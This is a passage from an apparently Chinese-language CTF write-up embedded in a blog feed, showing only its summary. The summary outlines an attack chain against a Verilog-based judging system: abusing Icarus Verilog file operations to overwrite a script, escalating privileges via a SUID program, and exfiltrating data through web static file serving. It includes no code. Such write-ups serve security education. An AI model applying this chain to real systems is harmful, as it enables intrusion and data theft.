&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;这道题目展现了硬件描述语言环境下的独特攻击面。通过深入分析判题系统的执行流程，发现了从 Verilog 代码到系统命令执行的完整攻击链。关键在于：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;理解执行环境&lt;&#x2F;strong&gt;：Icarus Verilog 的功能限制与文件操作能力&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;寻找攻击向量&lt;&#x2F;strong&gt;：从直接命令执行到间接脚本覆盖&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;权限提升利用&lt;&#x2F;strong&gt;：SUID 程序的正确调用方式&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据外泄路径&lt;&#x2F;strong&gt;：Web 静态文件服务的巧妙利用&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这种多层次的攻击思路体现了现代 CTF 题目的复杂性，需要选手具备从 Web 安全到系统安全的综合能力。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Flag&lt;&#x2F;strong&gt;: &lt;code&gt;hitcon{testflag}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        <summary type="html">没人陪我玩</summary>
        </entry>
</feed>
